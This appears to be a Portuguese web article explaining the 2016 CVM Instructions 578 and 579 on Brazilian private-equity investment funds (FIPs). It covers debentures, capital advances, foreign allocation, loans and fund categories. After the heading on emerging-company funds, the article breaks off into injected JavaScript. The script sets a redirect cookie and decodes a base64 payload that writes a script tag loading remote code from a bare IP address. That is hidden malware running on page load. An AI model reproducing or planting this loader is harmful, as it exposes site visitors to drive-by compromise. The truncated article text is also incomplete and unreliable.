CVM muda regras para fundos de investimento
A Comissão de Valores Mobiliários (“CVM”), em sintonia com as demandas de mercado, alterou a regulamentação referente aos Fundos de Investimento em Participações (FIPs).
As novas regras estão disponíveis através da edição das instruções CVM 578 e 579, de 30 de agosto de 2016. A 578 visa a regulamentar a constituição, o funcionamento e a administração de Fundo de Investimento em Participações (“FIP”).
Já a 579 dispõe sobre a elaboração e divulgação das demonstrações contábeis do FIP.
O prazo de adaptação à norma 578 é de 12 meses. Já a instrução 579 está valendo para períodos contábeis iniciados em ou após 1º de janeiro de 2017.
Veja o que mudou e se prepare para as novidades da CVM 578
Inclusão de debêntures simples
O FIP passou a poder investir, por disposição expressa, em debêntures simples até o limite de 33% do capital subscrito, sem necessidade de solicitar à CVM uma autorização específica.
Adiantamentos para futuro aumento de capital (“AFACs”)
Os AFACs passaram a ser permitidos nas companhias investidas, desde que: o FIP já tenha realizado investimento prévio na companhia investida.
O regulamento do FIP preveja expressamente essa possibilidade e o AFAC seja convertido em capital em até 12 meses contados da data da sua realização.
Alocação de recursos dos FIPs no exterior
Qualquer FIP poderá investir até 20% do seu capital subscrito em ativos no exterior, o que era proibido, contanto que os ativos investidos possuam a mesma natureza econômica dos ativos descritos na Instrução CVM 578, sendo que o FIP Multiestratégia dirigido a investidores profissionais poderá alocar até 100% de seus recursos em ativos no exterior.
Obtenção de empréstimos
O FIP poderá contrair empréstimos, diretamente de entidades classificadas como organismos de fomento, desde que estes sejam limitados ao montante de 30% dos ativos do FIP.
Este empréstimo poderá ser utilizado inclusive para fazer frente ao inadimplemento de cotistas que deixaram de integralizar suas cotas, o que não era possível de acordo com a antiga instrução.
Extinção dos FICFIP
Outro ponto importante foi a extinção dos Fundos de Investimento em Cotas de Fundos de Investimento em Participações (“FICFIP”), podendo agora qualquer FIP investir em cotas de outros fundos da mesma categoria.
Admissão de classes de cotas
Foi autorizada a criação de classes de cotas com direitos econômicos distintos dependendo do investidor, atendendo ao anseio do mercado de se criarem regras de prioridade no retorno de investimento.
Responsabilidades do gestor
Foram ampliadas as responsabilidades e obrigações do gestor referentes à contratação de serviços relacionados ao investimento ou desinvestimento, bem como quanto a sua atuação na precificação dos investimentos do fundo.
Divulgação de informações
O prazo para divulgação de informações semestrais e anuais foi aumentado para 150 dias.
Categorias de Fundo de Investimento em Participações
Até a edição da Instrução CVM 578, as normas dos FIPs e fundos com foco em empresas em desenvolvimento estavam previstas em diferentes instruções. Com a nova norma, todas as regras foram concentradas.
Capital Semente
Foi criado o FIP Capital Semente com o propósito de viabilizar a utilização de FIPs para investimento em startups, com a autorização, inclusive, para investir em sociedades limitadas com receita bruta anual de no máximo R$16 milhões — até então, apenas companhias (abertas e fechadas) poderiam receber os recursos do FIP.
FIP – Empresas Emergentes (“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘
